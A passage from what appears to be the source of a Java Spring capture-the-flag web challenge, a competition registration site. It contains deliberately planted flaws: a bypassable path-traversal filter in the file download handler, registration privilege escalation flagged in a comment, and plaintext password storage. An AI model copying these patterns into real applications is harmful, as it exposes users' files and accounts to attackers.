row.createCell(count++);\n\t\tcell.setCellStyle(borderStyle);\n\t\tcell.setCellValue(profile.getNation());//民族\n\t\tcell = row.createCell(count++);\n\t\tcell.setCellStyle(borderStyle);\n\t\tcell.setCellValue(profile.getPolitics_status());//政治面貌\n\t\tcell = row.createCell(count++);\n\t\tcell.setCellStyle(pureTextCellStyle);//身份证号设置为文本格式\n\t\tcell.setCellValue(profile.getIDnumber());//身份证号码\n\t\tcell = row.createCell(count++);\n\t\tcell.setCellStyle(borderStyle);\n\t\tcell.setCellValue(profile.getType());//类型(文科，理科)\n\t\tcell = row.createCell(count++);\n\t\tcell.setCellStyle(borderStyle);\n\t\tcell.setCellValue(profile.getSchool());//学校\n\t\tcell = row.createCell(count++);\n\t\tcell.setCellStyle(borderStyle);\n\t\tcell.setCellValue(profile.getGrade());//年级\n\t\tcell = row.createCell(count++);\n\t\tcell.setCellStyle(borderStyle);\n\t\tcell.setCellValue(profile.getAddress());//通信地址\n\t\tcell = row.createCell(count++);\n\t\tcell.setCellStyle(borderStyle);\n\t\tcell.setCellValue(profile.getPostcode());//邮编\n\t\tcell = row.createCell(count++);\n\t\tcell.setCellStyle(pureTextCellStyle);//电话设置为文本格式\n\t\tcell.setCellValue(profile.getPhone());//联系电话\n\t\tcell = row.createCell(count++);\n\t\tcell.setCellStyle(borderStyle);\n\t\tcell.setCellValue(profile.getHeight());//身高\n\t\tcell = row.createCell(count++);\n\t\tcell.setCellStyle(borderStyle);\n\t\tcell.setCellValue(profile.getWeight());//体重\n\t\tcell = row.createCell(count++);\n\t\tcell.setCellStyle(borderStyle);\n\t\tcell.setCellValue(profile.getMail());//邮箱\n\t\tcell = row.createCell(count++);\n\t\tcell.setCellStyle(borderStyle);\n\t\tcell.setCellValue(profile.getFather_name());//父亲姓名\n\t\tcell = row.createCell(count++);\n\t\tcell.setCellStyle(borderStyle);\n\t\tcell.setCellValue(profile.getFather_job());//父亲职务\n\t\tcell = row.createCell(count++);\n\t\tcell.setCellStyle(pureTextCellStyle);//电话设置为文本格式\n\t\tcell.setCellValue(profile.getFather_phone());//父亲联系电话\n\t\tcell = row.createCell(count++);\n\t\tcell.setCellStyle(borderStyle);\n\t\tcell.setCellValue(profile.getMother_name());//母亲姓名\n\t\tcell = row.createCell(count++);\n\t\tcell.setCellStyle(borderStyle);\n\t\tcell.setCellValue(profile.getMother_job());//母亲职务\n\t\tcell = row.createCell(count++);\n\t\tcell.setCellStyle(pureTextCellStyle);//电话设置为文本格式\n\t\tcell.setCellValue(profile.getMother_phone());//母亲联系电话\n\t\tcell = row.createCell(count++);\n\t\tcell.setCellStyle(borderStyle);\n\t\tcell.setCellValue(profile.getHobby());//兴趣爱好\n\t\tcell = row.createCell(count++);\n\t\tcell.setCellStyle(borderStyle);\n\t\tcell.setCellValue(profile.getDescription());//个人描述信息\n\t}\n}"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/utils/ResponseUtils.java",
    "content": "package com.bupt.utils;\n\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\npublic class ResponseUtils {\n\n\tpublic static final String RESPONSE_SUCCESS_KEY = \"success\";\n\n\tpublic static final String RESPONSE_FAILURE_KEY = \"failure\";\n\n\tpublic static final String RESPONSE_TEXT_KEY = \"text\";\n\n\tpublic static final String RESPONSE_EXTRA_KEY = \"data\";\n\n\tpublic static final String PAGINATION_ROOT_PROPERTY_KEY = \"root\";\n\n\tpublic static final String PAGINATION_TOTAL_PROPERTY_KEY = \"total\";\n\n\t/**\n\t * */\n\n\n\tpublic static <T> Map<String, Object> sendList(List<T> T) {\n\t\tMap<String, Object> map = getInstanceMap();\n\t\tmap.put(PAGINATION_ROOT_PROPERTY_KEY, T);\n\t\tmap.put(RESPONSE_SUCCESS_KEY, true);\n\t\treturn map;\n\t}\n\n\tpublic static <T, V, K> Map<String, Object> sendList(Map<K,V> T) {\n\t\tMap<String, Object> map = getInstanceMap();\n\t\tmap.put(PAGINATION_ROOT_PROPERTY_KEY, T);\n\t\tmap.put(RESPONSE_SUCCESS_KEY, true);\n\t\treturn map;\n\t}\n\n\tpublic static Map<String, Object> sendSuccess(String text, Object... extra) {\n\t\tMap<String, Object> map = getInstanceMap();\n\t\tmap.put(RESPONSE_SUCCESS_KEY, true);\n\t\tmap.put(RESPONSE_TEXT_KEY, text);\n\t\tif (extra.length > 0) {\n\t\t\tmap.put(RESPONSE_EXTRA_KEY, extra);\n\t\t}\n\t\treturn map;\n\t}\n\n\tpublic static Map<String, Object> sendFailure(String text) {\n\t\tMap<String, Object> map = getInstanceMap();\n\t\tmap.put(RESPONSE_FAILURE_KEY, true);\n\t\tmap.put(RESPONSE_TEXT_KEY, text);\n\t\treturn map;\n\t}\n\t\n\tpublic static Map<String, Object> sendFailure(String text, Object extra) {\n\t\tMap<String, Object> map = getInstanceMap();\n\t\tmap.put(RESPONSE_FAILURE_KEY, true);\n\t\tmap.put(RESPONSE_TEXT_KEY, text);\n\t\tmap.put(RESPONSE_EXTRA_KEY, extra);\n\t\treturn map;\n\t}\n\n\tprivate static Map<String, Object> getInstanceMap() {\n\t\treturn new HashMap<String, Object>();\n\t}\n\n}\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/utils/SysConfigUtils.java",
    "content": "package com.bupt.utils;\n\nimport java.io.InputStream;\nimport java.util.Properties;\n\n/**\n */\npublic class SysConfigUtils {\n    public static String noipLink;\n    public static String ctfLink;\n    public static String releaseState;\n    public static String ctfEmail;\n\n    private static final String PROPERTIES_DEFAULT = \"sysConfig.properties\";\n    private static Properties props;\n\n    /**\n     */\n    static {\n        props = new Properties();\n        try{\n            InputStream inputStream = MailUtil.class.getClassLoader().getResourceAsStream(PROPERTIES_DEFAULT);\n            props.load(inputStream);\n            inputStream.close();\n        }catch (Exception e) {\n            e.printStackTrace();\n        }\n        noipLink = props.getProperty(\"competition.link.noip\");\n        ctfLink = props.getProperty(\"competition.link.ctf\");\n        releaseState = props.getProperty(\"competition.link.releaseState\",\"false\");\n        ctfEmail = props.getProperty(\"system.public.ctf.email\",\"\");\n    }\n}\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/utils/SystemDateTimeChecker.java",
    "content": "package com.bupt.utils;\n\nimport java.io.InputStream;\nimport java.text.ParseException;\nimport java.text.SimpleDateFormat;\nimport java.util.Date;\nimport java.util.Properties;\n\npublic class SystemDateTimeChecker {\n\n\tpublic static final String from;\n\tpublic static final String to;\n\n\tpublic static final String emailFrom;\n\tpublic static final String emailTo;\n\tpublic static final String format;\n\tprivate static final String PROPERTIES_DEFAULT = \"sysConfig.properties\";\n\tprivate static Properties props;\n\n\t/**\n\t */\n\tstatic {\n\t\tprops = new Properties();\n\t\ttry{\n\t\t\tInputStream inputStream = MailUtil.class.getClassLoader().getResourceAsStream(PROPERTIES_DEFAULT);\n\t\t\tprops.load(inputStream);\n\t\t\tinputStream.close();\n\t\t}catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\tfrom = props.getProperty(\"system.start.time\");\n\t\tto = props.getProperty(\"system.end.time\");\n\t\temailFrom = props.getProperty(\"system.emailOperation.start.time\");\n\t\temailTo = props.getProperty(\"system.emailOperation.end.time\");\n\t\tformat = props.getProperty(\"system.time.format\");\n\t}\n\t/**\n\t */\n\tpublic static boolean checkNowOk() throws ParseException {\n\t\tDate current = new Date(System.currentTimeMillis());\n\t\tDate fDate  = new SimpleDateFormat(format).parse(from);\n\t\tDate tDate  = new SimpleDateFormat(format).parse(to);\n\n\t\tSystem.out.println(\"From：\"+fDate.getTime());\n\t\tSystem.out.println(\"Current：\"+current.getTime());\n\t\tSystem.out.println(\"To：\"+tDate.getTime());\n\t\t\n\t\tSystem.out.println(current.getTime()-fDate.getTime());\n\t\tSystem.out.println(tDate.getTime()-current.getTime());\n\t\t\n\t\tif(current.getTime()-fDate.getTime()>0&&tDate.getTime()-current.getTime()>0) {\n\t\t\treturn true;\n\t\t}else {\n\t\t\treturn false;\n\t\t}\n\t}\n\n\t/**\n\t */\n\tpublic static boolean checkEmailOperationAvailable() throws ParseException {\n\t\tDate current = new Date(System.currentTimeMillis());\n\t\tDate fDate  = new SimpleDateFormat(format).parse(emailFrom);\n\t\tDate tDate  = new SimpleDateFormat(format).parse(emailTo);\n\n\t\tSystem.out.println(\"email From：\"+fDate.getTime());\n\t\tSystem.out.println(\"email Current：\"+current.getTime());\n\t\tSystem.out.println(\"email To：\"+tDate.getTime());\n\n\t\tSystem.out.println(current.getTime()-fDate.getTime());\n\t\tSystem.out.println(tDate.getTime()-current.getTime());\n\n\t\tif(current.getTime()-fDate.getTime()>0&&tDate.getTime()-current.getTime()>0) {\n\t\t\treturn true;\n\t\t}else {\n\t\t\treturn false;\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/utils/UUIDUtils.java",
    "content": "package com.bupt.utils;\n\nimport java.util.UUID;\n\npublic class UUIDUtils {\n\t\n\tpublic static String getUUID(){\n\t\treturn UUID.randomUUID().toString().replace(\"-\", \"\").substring(10).toUpperCase();\n\t}\n\n}\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/utils/VerifyCodeUtils.java",
    "content": "package com.bupt.utils;\nimport java.awt.Color;\nimport java.awt.Font;\nimport java.awt.Graphics;\nimport java.awt.Graphics2D;\nimport java.awt.RenderingHints;\nimport java.awt.geom.AffineTransform;\nimport java.awt.image.BufferedImage;\nimport java.io.File;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.OutputStream;\nimport java.util.Arrays;\nimport java.util.Random;\n\nimport javax.imageio.ImageIO;\n/**\n */\npublic class VerifyCodeUtils{\n\n    //使用到Algerian字体，系统里没有的话需要安装字体，字体只显示大写，去掉了1,0,i,o几个容易混淆的字符\n    public static final String VERIFY_CODES = \"23456789ABCDEFGHJKLMNPQRSTUVWXYZ\";\n    private static Random random = new Random();\n\n\n    /**\n     */\n    public static String generateVerifyCode(int verifySize){\n        return generateVerifyCode(verifySize, VERIFY_CODES);\n    }\n    /**\n     */\n    public static String generateVerifyCode(int verifySize, String sources){\n        if(sources == null || sources.length() == 0){\n            sources = VERIFY_CODES;\n        }\n        int codesLen = sources.length();\n        Random rand = new Random(System.currentTimeMillis());\n        StringBuilder verifyCode = new StringBuilder(verifySize);\n        for(int i = 0; i < verifySize; i++){\n            verifyCode.append(sources.charAt(rand.nextInt(codesLen-1)));\n        }\n        return verifyCode.toString();\n    }\n\n    /**\n     */\n    public static String outputVerifyImage(int w, int h, File outputFile, int verifySize) throws IOException{\n        String verifyCode = generateVerifyCode(verifySize);\n        outputImage(w, h, outputFile, verifyCode);\n        return verifyCode;\n    }\n\n    /**\n     */\n    public static String outputVerifyImage(int w, int h, OutputStream os, int verifySize) throws IOException{\n        String verifyCode = generateVerifyCode(verifySize);\n        outputImage(w, h, os, verifyCode);\n        return verifyCode;\n    }\n\n    /**\n     */\n    public static void outputImage(int w, int h, File outputFile, String code) throws IOException{\n        if(outputFile == null){\n            return;\n        }\n        File dir = outputFile.getParentFile();\n        if(!dir.exists()){\n            dir.mkdirs();\n        }\n        try{\n            outputFile.createNewFile();\n            FileOutputStream fos = new FileOutputStream(outputFile);\n            outputImage(w, h, fos, code);\n            fos.close();\n        } catch(IOException e){\n            throw e;\n        }\n    }\n\n    /**\n     */\n    public static void outputImage(int w, int h, OutputStream os, String code) throws IOException{\n        int verifySize = code.length();\n        BufferedImage image = new BufferedImage(w, h, BufferedImage.TYPE_INT_RGB);\n        Random rand = new Random();\n        Graphics2D g2 = image.createGraphics();\n        g2.setRenderingHint(RenderingHints.KEY_ANTIALIASING,RenderingHints.VALUE_ANTIALIAS_ON);\n        Color[] colors = new Color[5];\n        Color[] colorSpaces = new Color[] { Color.WHITE, Color.CYAN,\n                Color.GRAY, Color.LIGHT_GRAY, Color.MAGENTA, Color.ORANGE,\n                Color.PINK, Color.YELLOW };\n        float[] fractions = new float[colors.length];\n        for(int i = 0; i < colors.length; i++){\n            colors[i] = colorSpaces[rand.nextInt(colorSpaces.length)];\n            fractions[i] = rand.nextFloat();\n        }\n        Arrays.sort(fractions);\n\n        g2.setColor(Color.GRAY);// 设置边框色\n        g2.fillRect(0, 0, w, h);\n\n        Color c = getRandColor(200, 250);\n        g2.setColor(c);// 设置背景色\n        g2.fillRect(0, 2, w, h-4);\n\n        Random random = new Random();\n        g2.setColor(getRandColor(160, 200));// 设置线条的颜色\n        for (int i = 0; i < 20; i++) {\n            int x = random.nextInt(w - 1);\n            int y = random.nextInt(h - 1);\n            int xl = random.nextInt(6) + 1;\n            int yl = random.nextInt(12) + 1;\n            g2.drawLine(x, y, x + xl + 40, y + yl + 20);\n        }\n\n        float yawpRate = 0.05f;// 噪声率\n        int area = (int) (yawpRate * w * h);\n        for (int i = 0; i < area; i++) {\n            int x = random.nextInt(w);\n            int y = random.nextInt(h);\n            int rgb = getRandomIntColor();\n            image.setRGB(x, y, rgb);\n        }\n\n        shear(g2, w, h, c);// 使图片扭曲\n\n        g2.setColor(getRandColor(100, 160));\n        int fontSize = h-4;\n        Font font = new Font(\"Algerian\", Font.ITALIC, fontSize);\n        g2.setFont(font);\n        char[] chars = code.toCharArray();\n        for(int i = 0; i < verifySize; i++){\n            AffineTransform affine = new AffineTransform();\n            affine.setToRotation(Math.PI / 4 * rand.nextDouble() * (rand.nextBoolean() ? 1 : -1), (w / verifySize) * i + fontSize/2, h/2);\n            g2.setTransform(affine);\n            g2.drawChars(chars, i, 1, ((w-10) / verifySize) * i + 5, h/2 + fontSize/2 - 10);\n        }\n\n        g2.dispose();\n        ImageIO.write(image, \"jpg\", os);\n    }\n\n    private static Color getRandColor(int fc, int bc) {\n        if (fc > 255)\n            fc = 255;\n        if (bc > 255)\n            bc = 255;\n        int r = fc + random.nextInt(bc - fc);\n        int g = fc + random.nextInt(bc - fc);\n        int b = fc + random.nextInt(bc - fc);\n        return new Color(r, g, b);\n    }\n\n    private static int getRandomIntColor() {\n        int[] rgb = getRandomRgb();\n        int color = 0;\n        for (int c : rgb) {\n            color = color << 8;\n            color = color | c;\n        }\n        return color;\n    }\n\n    private static int[] getRandomRgb() {\n        int[] rgb = new int[3];\n        for (int i = 0; i < 3; i++) {\n            rgb[i] = random.nextInt(255);\n        }\n        return rgb;\n    }\n\n    private static void shear(Graphics g, int w1, int h1, Color color) {\n        shearX(g, w1, h1, color);\n        shearY(g, w1, h1, color);\n    }\n\n    private static void shearX(Graphics g, int w1, int h1, Color color) {\n\n        int period = random.nextInt(2);\n\n        boolean borderGap = true;\n        int frames = 1;\n        int phase = random.nextInt(2);\n\n        for (int i = 0; i < h1; i++) {\n            double d = (double) (period >> 1)\n                    * Math.sin((double) i / (double) period\n                    + (6.2831853071795862D * (double) phase)\n                    / (double) frames);\n            g.copyArea(0, i, w1, 1, (int) d, 0);\n            if (borderGap) {\n                g.setColor(color);\n                g.drawLine((int) d, i, 0, i);\n                g.drawLine((int) d + w1, i, w1, i);\n            }\n        }\n\n    }\n\n    private static void shearY(Graphics g, int w1, int h1, Color color) {\n\n        int period = random.nextInt(40) + 10; // 50;\n\n        boolean borderGap = true;\n        int frames = 20;\n        int phase = 7;\n        for (int i = 0; i < w1; i++) {\n            double d = (double) (period >> 1)\n                    * Math.sin((double) i / (double) period\n                    + (6.2831853071795862D * (double) phase)\n                    / (double) frames);\n            g.copyArea(i, 0, 1, h1, 0, (int) d);\n            if (borderGap) {\n                g.setColor(color);\n                g.drawLine(i, (int) d, i, 0);\n                g.drawLine(i, (int) d + h1, i, h1);\n            }\n\n        }\n\n    }\n    public static void main(String[] args) throws IOException{\n        File dir = new File(\"F:/verifies\");\n        int w = 200, h = 80;\n        for(int i = 0; i < 50; i++){\n            String verifyCode = generateVerifyCode(4);\n            File file = new File(dir, verifyCode + \".jpg\");\n            outputImage(w, h, file, verifyCode);\n        }\n    }\n}"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/web/DownloadController.java",
    "content": "package com.bupt.web;\n\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestMethod;\nimport org.springframework.web.bind.annotation.RequestParam;\n\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport javax.servlet.http.HttpSession;\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.OutputStream;\n\n/**\n */\n@Controller\n@RequestMapping(value = \"download\")\npublic class DownloadController {\n    private static final String path = \"/download\";\n\n    @RequestMapping(value =\"/files\", method = RequestMethod.GET)\n    public void downloadFlag(HttpSession session, HttpServletRequest req, HttpServletResponse res, @RequestParam(\"file\") String filename){\n        String downloadPath = this.getClass().getResource(path).getPath();\n        String filtered_filename = filename.replace(\"../\",\"\").replace(\"./\", \"\");\n        String filePath = downloadPath + \"/\" + filtered_filename;\n        try {\n            res.setHeader(\"Content-disposition\", \"attachment;fileName=\" + new String(filename.getBytes(\"GBK\"), \"ISO8859-1\"));\n            res.setHeader(\"Content-type\",\"application/pdf\");\n            FileInputStream input = new FileInputStream(filePath);\n            OutputStream out = res.getOutputStream();\n            byte[] b = new byte[2048];\n            int len;\n            while ((len = input.read(b)) != -1) {\n                out.write(b, 0, len);\n            }\n            res.setHeader(\"Content-Length\", String.valueOf(input.getChannel().size()));\n            input.close();\n        } catch (Exception ex) {\n        }\n        return;\n    }\n}\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/web/IndexController.java",
    "content": "package com.bupt.web;\n\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.RequestMapping;\n\n\n@Controller\n@RequestMapping(value = \"\")\npublic class IndexController {\n\n    @RequestMapping(\"/index.html\")\n    public String index(){\n        return \"index\";\n    }\n\n\n}\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/web/LoginController.java",
    "content": "package com.bupt.web;\n\nimport com.bupt.canstants.Canstants;\nimport com.bupt.common.JsonData;\nimport com.bupt.dao.ProfileDao;\nimport com.bupt.dao.UserDao;\nimport com.bupt.domain.User;\nimport com.bupt.exception.ParamException;\nimport com.bupt.service.UserService;\nimport com.bupt.utils.*;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.*;\nimport org.springframework.web.servlet.mvc.support.RedirectAttributes;\n\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport javax.servlet.http.HttpSession;\nimport java.text.ParseException;\n\n\n@Controller\n@RequestMapping(value = \"user\")\npublic class LoginController {\n    @Autowired\n    private UserService userService;\n    @Autowired\n    private UserDao userDao;\n    @Autowired\n    private ProfileDao profileDao;\n\n\n\n    @RequestMapping(\"/loginHtml.html\")\n    public String loginHtml(HttpSession session,@ModelAttribute(\"message\") String message) {\n        System.out.println(\"-->user/loginHtml.html\");\n\n        Integer code = (Integer) session.getAttribute(\"first\");\n        if(code!=null){\n            if (code == User.UNSUBMITTED) {\n                return \"redirect:/profile/profileAdd.html\";\n            } else if (code == User.ADMIN) {\n                return \"redirect:/profile/export\";\n            } else {\n                return \"redirect:/profile/my\";\n            }\n        }else {\n            session.setAttribute(\"message\", message);\n            return \"login\";\n        }\n    }\n\n    @RequestMapping(value = \"/login.html\", method = RequestMethod.POST)\n    public String login(User user, HttpSession session,RedirectAttributes model) throws Exception{\n        if(user==null||!Check.checkUserName(user.getUsername())||!Check.checkPassword(user.getPassword())){\n            throw new ParamException(\"参数校验失败\");\n        }\n\n\n        User temp = userDao.findUserByUsername(user.getUsername());\n        String passwordMD5 = MD5Util.getPasswordMD5(user.getPassword(), temp.getSalt());\n        if (temp.getUsername() == null || !passwordMD5.equals(temp.getPassword())) {\n            model.addFlashAttribute(\"message\", Canstants.loginPawFail);\n            return \"redirect:/user/loginHtml.html\";\n        }\n        model.addFlashAttribute(\"message\", Canstants.loginSuccess);\n        model.addFlashAttribute(\"username\", temp.getUsername());\n        model.addFlashAttribute(\"userId\", temp.getId());\n        model.addFlashAttribute(\"first\", temp.getFirst());\n\n        session.setAttribute(\"message\", Canstants.loginSuccess);\n        session.setAttribute(\"username\", temp.getUsername());\n        session.setAttribute(\"userId\", temp.getId());\n        session.setAttribute(\"first\", temp.getFirst());\n\n        if (temp.getFirst() == User.UNSUBMITTED) {\n            model.addFlashAttribute(\"first\", User.UNSUBMITTED);\n            return \"redirect:/profile/profileAdd.html\";\n        } else if (temp.getFirst() == User.ADMIN) {\n            return \"redirect:/profile/export\";\n        } else {\n            return \"redirect:/profile/my\";\n        }\n    }\n\n    @RequestMapping(\"/logout\")\n    public String logout(HttpSession session){\n        session.removeAttribute(\"message\");\n        session.removeAttribute(\"username\");\n        session.removeAttribute(\"userId\");\n        session.removeAttribute(\"first\");\n        session.removeAttribute(\"profile\");\n        session.removeAttribute(\"email\");\n        return \"redirect:/\";\n    }\n\n    @RequestMapping(\"/registerHtml.html\")\n    public String register2(HttpServletRequest request,HttpSession session,@ModelAttribute(\"message\") String message) throws ParseException {\n        if(!SystemDateTimeChecker.checkNowOk()){\n            request.setAttribute(\"message\",Canstants.timeLimited);\n            return \"error\";\n        }\n        Integer code = (Integer) session.getAttribute(\"first\");\n        if(code!=null){\n            if (code == User.UNSUBMITTED) {\n                return \"redirect:/profile/profileAdd.html\";\n            } else if (code == User.ADMIN) {\n                return \"redirect:/profile/export\";\n            } else {\n                return \"redirect:/profile/my\";\n            }\n        }else {\n            session.setAttribute(\"message\",message);\n            return \"register\";\n        }\n    }\n//注册越权，参考0ctf2018 决赛第一步\n    @RequestMapping(value = \"/register.html\", method = RequestMethod.POST)\n    public String register(User user, HttpServletRequest request,HttpSession session,RedirectAttributes model) throws Exception{\n        if(!SystemDateTimeChecker.checkNowOk()){\n            request.setAttribute(\"message\",Canstants.timeLimited);\n            return \"error\";\n        }\n        if(user==null||!Check.checkUserName(user.getUsername())||!Check.checkPassword(user.getPassword())||!Check.checkEmail(user.getEmail())){\n            throw new ParamException(\"参数校验失败\");\n        }\n        System.out.println(\"-->register.html\");\n        if (user.getUsername() == null || user.getPassword() == null || user.getEmail() == null\n                || user.getUsername().equals(\"\") || user.getPassword().equals(\"\") | user.getEmail().equals(\"\")) {\n            model.addFlashAttribute(\"message\",Canstants.regFail);\n            session.setAttribute(\"message\", Canstants.regFail);\n            return \"redirect:/user/registerHtml.html\";\n        }\n        User temp = userDao.findUserByUsername(user.getUsername());\n        if (temp.getUsername() != null) {\n            model.addFlashAttribute(\"message\",Canstants.regNameFail);\n            session.setAttribute(\"message\", Canstants.regNameFail);\n            return \"redirect:/user/registerHtml.html\";\n        }\n        temp = userDao.findUserByEmail(user.getEmail());\n        if (temp.getEmail() != null) {\n            model.addFlashAttribute(\"message\",Canstants.regEmailFail);\n            session.setAttribute(\"message\", Canstants.regEmailFail);\n            return \"redirect:/user/registerHtml.html\";\n        }\n        try {\n            user.setPdd(user.getPassword());\n            user.setSalt(UUIDUtils.getUUID());\n            user.setPassword(MD5Util.getPasswordMD5(user.getPassword(), user.getSalt()));\n            userDao.addUser(user);\n        } catch (Exception e) {\n            throw new ParamException(\"参数异常\");\n        }\n        model.addFlashAttribute(\"message\",Canstants.regSuccess);\n        session.setAttribute(\"message\", Canstants.regSuccess);\n        return \"redirect:/user/loginHtml.html\";\n    }\n\n    @RequestMapping(value = \"/send_email.json\", method = RequestMethod.POST)\n    @ResponseBody\n    public JsonData sendEmail(@RequestParam String username,String email, HttpSession session)throws Exception {\n        if(!SystemDateTimeChecker.checkEmailOperationAvailable()){\n            return JsonData.fail(Canstants.timeLimited);\n        }\n        if(!Check.checkNotEmputy(username)||!Check.checkNotEmputy(email)){\n            throw new ParamException(\"参数校验失败\");\n        }\n\n        JsonData jsonData = null;\n        User user = userDao.findUserByUsername(username);\n        if (username == null || username.equals(\"\")\n                ||email ==null || email.equals(\"\")\n                || user.getUsername() == null || !user.getEmail().equals(email)) {\n            session.setAttribute(\"message\", Canstants.findEmailFail);\n            jsonData = JsonData.fail(Canstants.findEmailFail);\n            jsonData.setRet(false);\n            return jsonData;\n        }\n\n        String checkcode = UUIDUtils.getUUID();\n        String time = String.valueOf(System.currentTimeMillis());\n        User temp = userDao.findUserByUsername(username);\n        temp.setCheckcode(checkcode);\n        temp.setTime(time);\n        userDao.updateUser(temp);\n        try {\n            System.out.println(user.getEmail());\n\n            MailUtil.sendMail(user.getEmail(), \"恋爱的季节\", \"<h2>验证码：\" + checkcode + \"</h2>\");\n\n            session.setAttribute(\"message\", Canstants.findEmailSeccess);\n            jsonData = JsonData.success();\n            jsonData.setMsg(Canstants.findEmailSeccess);\n            jsonData.setRet(true);\n        } catch (Exception e) {\n            e.printStackTrace();\n            jsonData = JsonData.fail(Canstants.sendEmailFail);\n            jsonData.setRet(false);\n            return jsonData;\n        }\n        return jsonData;\n    }\n\n    @RequestMapping(\"/findHtml.html\")\n    public String find(HttpServletRequest request,HttpSession session) throws ParseException {\n        if(!SystemDateTimeChecker.checkEmailOperationAvailable()){//对不在指定时间访问需要登录的接口请求进行统一后台拦截\n            request.setAttribute(\"message\",Canstants.timeLimited);\n            return \"error\";\n        }\n        Integer code = (Integer) session.getAttribute(\"first\");\n        if(code!=null){\n            if (code == User.UNSUBMITTED) {\n                return \"redirect:/profile/profileAdd.html\";\n            } else if (code == User.ADMIN) {\n                return \"redirect:/profile/export\";\n            } else {\n                return \"redirect:/profile/my\";\n            }\n        }else {\n            return \"find\";\n        }\n    }\n\n    @RequestMapping(value = \"/find.html\", method = RequestMethod.POST)\n    public String find(HttpServletRequest request,@RequestParam String username, String password1, String password2, String checkcode, HttpSession session,RedirectAttributes model) throws Exception {\n        if(!SystemDateTimeChecker.checkEmailOperationAvailable()){\n            request.setAttribute(\"message\",Canstants.timeLimited);\n            return \"error\";\n        }\n        if(!Check.checkUserName(username)||!Check.checkPassword(password1)||!Check.checkNotEmputy(checkcode)){\n            throw new ParamException(\"参数校验失败\");\n        }\n\n        User temp = userDao.findUserByUsername(username);\n        if (username == null || checkcode == null || password1 == null || password2 == null\n                || username.equals(\"\") || checkcode.equals(\"\") || password1.equals(\"\") || password2.equals(\"\")\n                || temp.getUsername() == null\n                ) {\n            session.setAttribute(\"message\", Canstants.findNull);\n            return \"redirect:/user/findHtml.html\";\n        }\n        if (!temp.checkcode.equals(checkcode) || System.currentTimeMillis() - Long.parseLong(temp.getTime()) > 1800000) {\n            session.setAttribute(\"message\", Canstants.findCheckError);\n            return \"redirect:/user/findHtml.html\";\n        }\n        if (!password1.equals(password2)) {\n            session.setAttribute(\"message\", Canstants.findPasswordFail);\n            return \"redirect:/user/findHtml.html\";\n        }\n        temp.setPdd(password1);\n        temp.setPassword(MD5Util.getPasswordMD5(password1, temp.getSalt()));\n        userDao.updateUser(temp);\n        model.addFlashAttribute(\"message\",Canstants.changePwdSuccess);\n        return \"redirect:/user/loginHtml.html\";\n    }\n}\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/web/ProfileControllor.java",
    "content": "package com.bupt.web;\n\nimport com.bupt.common.SpelView;\nimport com.bupt.canstants.Canstants;\nimport com.bupt.dao.ProfileDao;\nimport com.bupt.dao.UserDao;\nimport com.bupt.domain.Flag;\nimport com.bupt.domain.Profile;\nimport com.bupt.domain.User;\nimport com.bupt.exception.PermissionException;\nimport com.bupt.service.upload.Thumbnail;\nimport com.bupt.service.upload.Upload;\nimport com.bupt.utils.Check;\nimport com.bupt.utils.SystemDateTimeChecker;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.ModelAttribute;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestMethod;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.multipart.MultipartFile;\n\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpSession;\nimport java.io.IOException;\nimport java.io.UnsupportedEncodingException;\nimport java.text.ParseException;\n\n@Controller\n@RequestMapping(\"/profile\")\npublic class ProfileControllor {\n    @Autowired\n    private Upload upload;\n    @Autowired\n    private Thumbnail thumbnail;\n\n    @Autowired\n    ProfileDao profileDao;\n\n    @Autowired\n    UserDao userDao;\n\n    @RequestMapping(\"/info.html\")\n    public String info(){\n        return \"arrangeMent\";\n    }\n\n    @RequestMapping(\"/competitionRule.html\")\n    public String competitionRule(){\n        return \"competitionRule\";\n    }\n\n    @RequestMapping(\"/profileEditHtml.html\")\n    public String profileEditPage(HttpSession session){\n        Integer first = (Integer) session.getAttribute(\"first\");\n        if(first==1) {\n            return \"profile_edit\";\n        }else {\n            session.setAttribute(\"message\",\"请先填写报名信息！\");\n            return \"error\";\n        }\n    }\n\n    @RequestMapping(\"/profileAdd.html\")\n    public String profileAddPage(HttpServletRequest request,HttpSession session) throws ParseException {\n        if(!SystemDateTimeChecker.checkNowOk()){\n            request.setAttribute(\"message\",Canstants.timeLimited);\n            return \"error\";\n        }\n        String username = (String) session.getAttribute(\"username\");\n        User temp = userDao.findUserByUsername(username);\n        session.setAttribute(\"email\",temp.getEmail());\n        return \"profile_add\";\n    }\n\n    /**\n     */\n    @RequestMapping(\"/myProfile\")\n    public String myProfilePage(HttpSession session,@ModelAttribute(\"message\") String message) {\n        Integer first = (Integer) session.getAttribute(\"first\");\n        if(first!=null&&first==0){\n            session.setAttribute(\"message\",Canstants.fillTheProfileFirst);\n            return \"noProfile\";\n        }else if(first==1){\n            Integer userid = (Integer) 